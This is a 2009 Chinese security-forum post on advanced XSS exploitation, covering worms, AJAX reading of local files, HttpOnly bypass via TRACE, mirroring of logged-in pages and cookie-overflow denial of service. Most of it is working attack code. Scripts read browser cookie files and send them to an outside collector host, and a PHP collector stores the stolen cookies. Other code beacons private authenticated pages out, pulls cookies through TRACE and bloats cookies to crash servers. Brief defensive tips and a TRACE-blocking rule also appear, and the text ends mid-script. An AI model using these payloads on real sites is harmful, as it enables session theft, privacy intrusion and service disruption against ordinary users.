XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

, B- F( u9 _6 TXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
  m# N8 j) D# S" Z4 o; N# |" Shttp://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权



-------------------------------------------前言---------------------------------------------------------
! p% d8 o  ?# M: ~6 k/ q, i

- g% R- N- X1 V9 v本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
: W$ U! M# n. H+ @) }  ~3 b
& M5 u( z2 [+ y
如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
1 L3 t8 k" L+ D4 j3 z0 J( {, dhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
8 }7 B/ |2 R. `( b" k6 u8 Xhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
7 r) b8 E9 l7 D6 s5 E- F) ahttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持


: C- h. t. m$ j! R$ n/ m

如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
( J: W& G% N6 F" B' q
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

, c1 g& b, l) J3 u8 R: m! ~Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

QQ ZONE,校内网XSS     感染过万QQ ZONE.
0 z$ c! J6 e) P1 I0 Q/ _
OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

' {% d, X# j: \1 ^% y4 c6 P+ @..........
复制代码------------------------------------------介绍-------------------------------------------------------------

8 r: K( F) O) c& }4 D5 w0 X9 h5 ~什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.

! b7 d- h5 J- D, s  F" q$ Y0 k
5 I- R) i) j* O0 l7 W. g) I: `4 W
跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
1 T% [1 S6 w0 P$ X% r


8 v7 f' f! X$ {7 V, p: N8 @- p如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

4 c0 I6 D& e  D2 _1        通过XSS,我们能实现什么?

0 k/ d2 A: T  a; [. }. ?2 A. c5 u; b2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
0 ?2 [1 f% P4 x# N0 J9 O* t% w/ H$ P
/ R! X2 c( X# J0 A9 @% ~: Y3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
! e8 w# B) {* U9 I& k, a! ^' \
: J! L3 T- @/ s0 W/ ?4        XSS漏洞在输出和输入两个方面怎么才能避免.
! \4 \" X) t7 E


) F0 U, x) c5 s9 T! T------------------------------------------研究正题----------------------------------------------------------



通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
% }+ C) z1 ^- x5 |7 r6 Z0 O: `1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
* R4 ?* U9 W) C+ g2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
# f: O) y9 N. \  T  O2 X% v3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
7 ^7 w: J- [7 p- g0 {7 h
; |# N9 h2 r* K, o( N/ C+ s- W. D1 H

9 h  S5 G3 K1 T" P, b
: _" [6 O8 h9 A/ O) C* ?
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
. f! |" L' }7 h/ }
$ K5 k5 P" ~& D5 Q& ?8 {$ O+ q我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
+ j# D, W6 P! m: g) M
: b8 U& M% x" A  Z, r+ ?- O+ o
0 i6 y. s- l( l+ f/ u! u+ {* p6 m
6 |( P  ~0 o9 J3 ^& `; L' S    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
9 x  N+ m/ }# K( l/ E) T! z
  }. E! I+ d- D
  A5 g% M" ~) }: a' c+ r
$ j" Z' N, _( t    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。



    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
  L+ b2 [) ^6 u% d) x复制代码IE6使用ajax读取本地文件    <script>
9 u" W9 y8 a9 g' @/ I
! L3 |  b9 V; m5 n) Q6 A    function $(x){return document.getElementById(x)}
* r/ G4 n/ ~2 `$ ~, A: m

0 Z8 g+ i6 }6 V: O4 z
    function ajax_obj(){
. f: p0 j; j* n7 o% \
    var request = false;
  K1 i2 g. s7 ?3 M4 F2 L
    if(window.XMLHttpRequest) {

+ D6 S0 h- L3 Q8 O& p    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
7 Q1 h" A7 ?- s; U" ^' [& J
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

$ h# i  d/ }- L4 k, _8 x
% G5 v2 M9 S& e- C
/ ?* a4 K2 ?! I    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {
! `! e8 K8 |! E
3 q2 b) }, [5 J5 J: H    try {

. |- j8 Y& T3 b- ]7 }# i5 A5 \    request = new ActiveXObject(versions);
' `( O7 ?8 c5 w+ T# M4 j) X
    } catch(e) {}

    }
0 ?9 p# Y* c0 ~) j' f, @  t
  m, c; }! g  \$ w+ M* ^+ v0 C    }
7 J* L8 t9 o, J
$ u  j3 |8 ?3 S1 ~    return request;

    }

    var _x = ajax_obj();
9 q! h6 F1 v7 p6 k8 j
4 K( O. z+ \( \, c3 x    function _7or3(_m,action,argv){
( i9 S0 U1 b6 O- c
& z% F1 F" ^+ M& B2 q: Y    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

8 |3 e3 Z9 a, Z( X. P    _x.send(argv);

* x% P8 Y+ h0 R6 @4 l9 D$ C5 w# l; V    return _x.responseText;

    }


  |: y, C4 j" N$ T# o
2 T1 e2 n) @  M4 c' @2 F    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
2 |2 @. [# H3 f8 I" c' T
7 j0 o* a  a* h+ S: P    alert(txt);
7 c% X. g6 z  w0 w1 Y+ f


    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
$ l- e4 `6 k6 h# Z7 r$ d9 Z- F
9 w* L- g4 s+ y6 r0 V* g8 A" O) o) R4 u    function $(x){return document.getElementById(x)}

9 ?" F) ^  x6 @
  @" K) G1 G% N/ _) m, [9 o
4 Y" z  N  x8 S4 w$ ^0 H    function ajax_obj(){

9 l* y& E) x5 z. s) F7 x7 |% x    var request = false;
( L; d0 N) M' a% S& L3 q
, e; P5 {( n- J9 {, z8 m9 J- R: u    if(window.XMLHttpRequest) {
- w' c' ?" {0 t$ l2 o  q
    request = new XMLHttpRequest();
8 h' L8 I1 X3 `6 Z8 d
    } else if(window.ActiveXObject) {
& I% U/ Z5 c: l0 y0 K1 b$ {
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
1 A! b, i' p- v; p9 ?& {) v
$ [1 b0 W' l! |; _( u

    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {
1 j: |: M( u6 c0 V" H
& y9 b( i: a1 w( [6 z    try {
; _! W& t" {. @, U9 b0 ]* g
    request = new ActiveXObject(versions);

    } catch(e) {}

% g+ e! l! _5 s: A    }

    }

    return request;
. w; R4 n* h+ K% y0 k  F& u
9 W( t) O8 k# ?9 [, n    }

    var _x = ajax_obj();
7 m0 d+ V% s* `( W1 P2 [6 b
    function _7or3(_m,action,argv){

; a' }: C/ K$ B    _x.open(_m,action,false);
5 l, _3 ]- ?- q
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

- |" r# P# `; b" B- X# j! y    return _x.responseText;
" Y: _9 ^5 c- K* @- v
* E8 n% \8 I+ a: B3 P    }
# d  s7 c9 G) R9 g* e! M
  e5 P' T9 z6 S" z2 e1 l+ l
; H0 x9 X$ |- O" a
/ S0 M0 w' s3 M# `* c    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);
; d$ {% B! u/ O1 M5 n$ {; c2 D
0 E7 x5 P% n, U7 q

    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

+ M% J; V7 O  |* K$ ^
. x  s9 U2 H3 ^- C3 [
, s- K7 [2 n4 qChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
5 m( }. U! t3 V! C3 b( \
7 _0 |0 Z, R0 ]9 F, t

<?   

/*  

% L$ Z7 Y/ S2 [8 p% j" A3 g     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

: Y* Y* H2 L( l) \8 b: x     www.inbreak.net   

- {/ [* D' P; Z# A     author voidloafer@gmail.com 2009-4-22   
6 l: t: L: J' e% F4 d7 q
& r6 m* K( I  {# X9 i3 d     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

*/  

header("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   

/*  
. P" X% k, u- X, c
     set header, so just download html file,and open it at local.  
. R9 ~5 M) L$ b' F
+ H6 `- K2 e& g, v7 L*/  
. [3 t0 F% }9 X
?>   
8 K, C; f0 s! o% q: p
* K  @8 C& B+ ^9 A<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

     <input id="input" name="cookie" value="" type="hidden">   
: ]" t+ F1 ]/ \9 W% ~& E1 ]  l7 B
</form>   
7 u# u2 r1 l+ C* T) z: L* A
3 Z" O" O1 s. {; N8 z. Z' Z* ~7 W<script>   

function doMyAjax(user)   
; S9 b2 Z& O- T1 Y$ p
{   

7 J& Y- p( q" S5 l& Zvar time = Math.random();   

/*  
+ W6 g: ?4 [  u6 e  L# s
! P9 o! \6 h( Q& F  Athe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

* z- i; Q. K9 Mand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

and so on...  
$ P) `8 F3 a* B+ ^' F4 w
0 J' K; S& T0 y! H+ [3 d*/  

$ ^2 D" R; ^5 U4 ]var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
+ P  P9 x: A0 ~! i- n3 [$ c$ q- |2 m
   

3 K# @+ X6 B3 ^2 X3 kstartRequest(strPer);   
8 G) `! j8 S: |, p) d
6 Y3 M4 t0 e+ |$ Y6 m- c3 L- W0 Y) g

/ G+ ~* ?( z7 l' Z$ |% \}   
. ?" C0 f4 c% K! b
   
( D: v7 O7 q, ?9 G; [7 ~
function Enshellcode(txt)   

{   

; ]4 {2 S) U- Z1 H. Dvar url=new String(txt);   

var i=0,l=0,k=0,curl="";   

- P, f/ N! G0 ~5 @0 X4 {0 u% o- [, _l= url.length;   
- t+ U  v2 ?+ K* `: M* s5 r
for(;i<l;i++){   

k=url.charCodeAt(i);   

if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
( F/ o3 x/ m- X3 x
( E; n& Q$ h" m. [1 `4 tif (l%2){curl+="00";}else{curl+="0000";}   
( _+ t; H" e4 B  H9 X* G9 D
, z  }' |+ m% X+ ycurl=curl.replace(/(..)(..)/g,"%u$2$1");   

) D4 ^6 U  q- q% s3 Zreturn curl;   
/ `8 H2 ^4 C* L, ^/ l' ^, ?
}   
0 t4 @' Z& O) |+ n- S
   

   
% Q* S2 i3 X9 U/ P7 Q2 G
var xmlHttp;   
7 C4 \: T- ^- \8 e- U6 [" c
) x& s6 H6 u+ o; J7 D' ~7 rfunction createXMLHttp(){   

0 l$ y' }1 C# \8 g- N; B     if(window.XMLHttpRequest){   
. e0 ~- H' p0 q( p. k) `, A
6 n- r( n- ?. H$ d& M! O/ X% b5 _  W, wxmlHttp = new XMLHttpRequest();           

0 B8 V. F. S' @+ o# s% j) `. W     }   
6 U( u2 O. t3 P4 l: D  w) x
     else if(window.ActiveXObject){   

xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

. s5 v% r7 Y. f" s1 \, l0 Z     }   
( M& |+ f2 H$ y
}   
# a& {# k, m5 h& `# j5 z" Z
   
* |) u# |6 s. U3 ~
6 \1 X4 S7 o* m7 _6 k; Afunction startRequest(doUrl){   

   
! u1 B' p- t  a0 V1 U* L
     createXMLHttp();   
' {) l# i6 R7 R) C9 M5 d
$ r0 m( @* `4 i+ G2 ?3 g, w

6 L3 h2 q2 N# ~9 B+ h     xmlHttp.onreadystatechange = handleStateChange;   
0 e' ]2 r4 U; b# @3 ]9 P$ c5 p3 I8 V
# h; P* `4 e9 K, E, ?  j; Q
+ k/ Y$ z) r7 E* R- T
, Q# M; f9 q  I) y0 g# A     xmlHttp.open("GET", doUrl, true);   

, K, j6 c5 b, J+ ~( c2 R# T# D/ d
5 o0 k% h0 j- v, y0 D
     xmlHttp.send(null);   
, _9 }7 E* R, x) N0 m: V" o

9 ?. I2 U2 E# n- V& f
9 }) [8 [: s0 b+ w1 V9 V$ @
+ h$ i! y6 l; [( ]- W* ~+ B: }
}   

) e3 n+ o) d$ k% h+ P   
2 s( ^9 ~; t5 I- V1 p# _1 g
) o7 E5 J8 U! k, Afunction handleStateChange(){   

. V# F" T' J/ [     if (xmlHttp.readyState == 4 ){   
% w( ^1 s. b2 F" }4 {) W$ Q
/ ^- |, C0 T4 f9 _/ e     var strResponse = "";   

     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
6 [1 A2 S% ?8 m, q
! J* B8 o+ `3 w, D        
8 T& ~3 B4 q, h
0 J: W0 v* \' \/ N$ n5 @( L     }   

; S/ U2 R( K. ~6 w3 ?$ R}   

2 w: Y* Q7 h9 T- V7 V- r; W   
  e1 [) {. O$ ~) |& Q! d
9 s& J, G" m$ J8 ^4 `   
1 f: T& N" U2 r& }: X' |
function framekxlzxPost(text)   

: h, {/ C6 ]' k- K4 R. v& t/ M{   

8 z; k  l8 S: {$ I7 L     document.getElementById("input").value = Enshellcode(text);   

     document.getElementById("form").submit();   
8 @. |" W; r* {$ ]! L+ \
}   
+ I' B: A( j1 k6 e& N4 T  z
   

0 v- R3 `; X/ V8 e5 IdoMyAjax("administrator");   
, v! c( d1 S" T7 Y, a9 h' c
   

$ }9 E) f: j8 ^- s; H: W5 c' g+ g5 d# H</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
" r) `" b2 X6 T- P/ y* n
var xmlHttp;  

function createXMLHttp(){  
  X( f' O5 s7 L, c& {
     if(window.XMLHttpRequest){  
) V  T$ n; D3 F; b
         xmlHttp = new XMLHttpRequest();         

+ |+ A8 \) h$ f- u3 ~; \  `     }  
4 L0 N0 D0 F# c- M3 U0 O
     else if(window.ActiveXObject){  

* y. b! z1 _! N" x+ o         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
$ \; N$ V! n) s  |
! D: n0 B# s( V1 f$ K# _5 R+ N$ P     }  

}  

7 f5 k1 k3 N! B/ r   
( _5 Q& V7 L; b. Q
6 G6 ^# I* U9 k: }% D" _function startRequest(doUrl){  

           
- D. g, X3 |9 q) _
     createXMLHttp();  

. _  Q% I# M& m6 t/ {      
# I; Y, U5 R. e5 j* C$ R- X
     xmlHttp.onreadystatechange = handleStateChange;  
* E. k3 B* }; w- F
      
7 Q1 g/ Q9 X; S1 J# r
/ ]9 U! j4 L( u. \     xmlHttp.open("GET", doUrl, true);  
0 ]) ~/ S2 `, Y3 w. F! _+ a8 [! Q
- U+ R7 v* }# C  X& R/ u      

& Y  ?# e' [- ^+ \5 x4 q: ]- |     xmlHttp.send(null);  

      

      

}   

   
+ L, U7 s6 P8 `; Z( \" w; P4 q
function handleStateChange(){  
0 P: ^! D' n$ b( Q
     if (xmlHttp.readyState == 4 ){  
1 P; m3 K9 ^, Q7 P
- ]8 G" V7 s2 q# i  y0 B. |             var strResponse = "";  
6 V, _: ^2 X1 D" t
             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

               

+ s! ~  @2 t; ~# n2 Z) l- J9 N     }  
1 m9 @2 M3 z/ x. t  R
0 J! g3 a9 b, E, W2 m+ L}  

) o1 x  \) t; B, S5 f   

/ \; x3 u) s7 D% b+ Efunction doMyAjax(user,file)  
9 ^/ Q: c2 m4 |+ ?( |
" g7 h) o( ]8 i9 D  t{  
9 W+ x4 U9 P) d( J
# K0 a% c% Z2 D! z: q; ]% d% n; Y! D: m         var time = Math.random();  
. z, s  T7 s) J
           
" i+ I; D  k/ g3 t0 y
         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
% E; V$ [! K+ x2 h8 Q
           
7 F1 k5 w" b: g- T8 _- n
         startRequest(strPer);  

% ]( H2 g) L0 e3 V( Q- O9 H      

}  
! U% [8 n' g- Q6 E9 h
  k* ]1 _" V$ g# h! s   

- ~  `8 x- b" x- N! s/ A% ?& bfunction framekxlzxPost(text)  
! ~9 P4 v. e9 h( d3 q8 Q
{  
* ?5 ?# h) a+ B" {$ C* E
1 p- \! b( q" e     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
) |4 P8 V4 G5 F8 {) a
     alert(/ok/);  

) B4 b; f$ Z2 _$ f+ H! q" ~. w) B6 @5 y}  
: ?( l/ X4 x5 P: W2 t
) W$ P1 g' {. d' C  c# V! D   
5 w: {5 ?$ _; @; d# d4 k4 v0 y
doMyAjax('administrator','administrator@alibaba[1].txt');  
- k! U$ S4 V) z4 V# b' f) n
, G9 J  v4 U3 c! H7 h2 }9 t% V   

0 N6 f& w5 h' s: f2 P4 J0 x</script>
' [) r. X. f; L4 J1 E

' Y1 _9 f; U0 a: z
( @9 }1 h6 Y; c8 ^/ `* I3 T9 B0 N8 d

a.php
- S+ I5 }" `9 R& ~4 C% R


<?php      
& r7 k! S% P* X6 e! M9 [/ U
6 E6 c' ]4 P0 o: M5 D; Z   

; w  A2 z1 B, g% Y$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

3 ^+ V5 P0 f% a9 n$ d- {$ d5 C( t5 \5 `$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

4 S  n6 e. ]6 v' N) [3 }  

* X6 B8 W! x2 M8 X( `& t$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

" v3 B. J0 a2 c+ P: W( E9 p2 N; Z0 _fwrite($fp,$_GET["cookie"]);      
7 K! ?0 b& i4 b, R/ k) a$ m" T
fclose($fp);   

?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

7 B+ w# F# C  P( h9 x  ~1 `0 `或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
! c: P* @6 Z" ^' C: v0 Z
3 Y" @3 H( U: S$ w! T代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
9 A4 @+ ]% t5 U( \, R
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
1 G; ?6 P$ v$ ~" ^4 q
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
/ d8 W+ @0 d" K9 _2 R  g- X
( j! l& u- ^6 U  K: ofunction getURL(s) {

var image = new Image();

image.style.width = 0;

image.style.height = 0;

1 l) E/ _  V& s  w- Iimage.src = s;

}

+ N$ g& Q1 G' x; Y9 \7 DgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
9 d2 P  C( ^8 t% Z( ~" o这里引用大风的一段简单代码:<script language="javascript">

/ f# g+ m: f* |! M  J" u- h9 i  ]var metastr = "AAAAAAAAAA"; // 10 A

var str = "";

3 L0 t& \$ s% W. w' o$ iwhile (str.length < 4000){

$ F  r" {4 y* _3 X" S    str += metastr;

3 ~$ ~$ ]- q2 n( d" M: o}

5 X( ~; Q1 j+ `; T

document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

</script>
0 {, F* I* }+ m6 Q' Q
5 C& J) q* a2 X% d详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
& l' _0 \# Q2 p' E7 K/ U4 ~, B复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
/ i3 k8 ~! D: O3 Nserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
: S% P2 l: m/ Q* l5 F+ [' @
假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
0 ]& P& ?7 U& N  C  q. Y& c$ a8 Z0 Z攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.


, X2 _; a! d& `+ I8 c


: i$ u) V- V5 v5 U: c* d! _
(III) Http only bypass 与 补救对策:

. ?$ P* V) ]2 l9 [* z6 \* d什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

<!--
& T; R! q, Q6 r9 K
, K+ ?  A4 M, p; \+ w3 C2 Y  Tfunction normalCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly";

  l$ Q  ?3 ^5 Oalert(document.cookie);

}

4 u9 O8 g. J! \9 ?, d+ k# Y2 U

6 n- [' j# P4 Q8 y# F: E

function httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
, k$ y' @/ E  o. k5 G
3 ~( k7 a8 J% |/ J9 \7 qalert(document.cookie);}
. N; P7 [! \) F/ r


//-->
' d1 C8 _0 V5 q+ x! K9 d; H
</script>


2 Q. R( W$ C) m9 c( J: x" q
. A* g5 ?, }/ |<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
' K; f" w, X: w3 z6 e: z1 H: b
. p; t, D0 T  L+ j<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
+ K/ L& a4 u# m7 j: O) s* n


var request = false;
- V2 E- z9 w/ @9 p# U8 @6 \, w6 i
        if(window.XMLHttpRequest) {

1 {6 ~3 a& @# f7 M: A            request = new XMLHttpRequest();
- n; k  Z6 Q, `/ c8 K1 b
            if(request.overrideMimeType) {

3 ?" n( s) B9 t7 A4 U                request.overrideMimeType('text/xml');
5 t' Q0 s+ x7 ]7 s2 l- b' T; M8 L. I. _
            }

        } else if(window.ActiveXObject) {

  x' S) [( X$ s5 Y            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
( \$ p, ^: _; x0 e
# j/ i" b% @. s  V) M5 t            for(var i=0; i<versions.length; i++) {

                try {

                    request = new ActiveXObject(versions);
8 r! G: \0 k8 ]- ~# J$ E6 P# D; O
) J. H# y/ T7 x; N: }8 A& J) G                } catch(e) {}
# J9 I& e: d) I/ O
            }
: L: e( m, S. |! r; w3 o
5 R) K, Q5 g( U1 }; J        }

; q* h* s+ l( VxmlHttp=request;
8 f8 _8 n, H' C4 U
- }+ ?3 [" K/ b- G" F6 D9 N( GxmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);
* x2 B4 m$ ]/ z4 z# l. C
* p9 ?2 N1 h, f8 \, |6 G5 i0 TxmlDoc=xmlHttp.responseText;

: c* y2 R" F( h& u3 dalert(xmlDoc);
5 W) g1 T1 o' q/ D! c' Y
! n9 l( N  s% d  S</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

# l3 H. T  G# Evar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

/ P( y' x' k" g4 D) YXmlHttp.open("GET","http://www.google.com",false);

1 D* v9 o# K' \  w, D  {- }XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);

var resource=xmlHttp.responseText

& I4 d( c3 s8 y9 l5 Yresource.search(/cookies/);
9 {$ x( Y, |+ a* J0 [- y
......................

</script>
7 K7 N* I. P/ t* ^3 Z* b- [
6 R9 I0 Z* h& s; d: `! I
# ~3 x3 Z8 ?5 |7 F9 `: m' c4 Z

0 p/ M: y" g) E0 Q3 @) s
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
+ Y2 ~( w+ W5 l9 @
[code]

/ X! e* h- B0 E. I$ i0 eRewriteEngine On
. D: b0 [6 R4 y; ]% `
RewriteCond %{REQUEST_METHOD} ^TRACE
1 }9 `$ k, Y- u/ _( y* I
RewriteRule .* - [F]
& g$ J  m8 F  M: Q4 i& q/ q2 t
9 U8 a! \- _! ]5 q; q" t

Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

0 u! h/ ^5 I/ y$ n* p' S, U; uacl TRACE method TRACE
2 Y' b1 L5 A  h2 L, {& u
...

http_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
  {; h, \9 _/ y+ }( w4 H( d
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
6 w0 k( P9 f# U2 J% N- |7 o* ]8 ?* _
XmlHttp.open("GET","http://www.google.com",false);
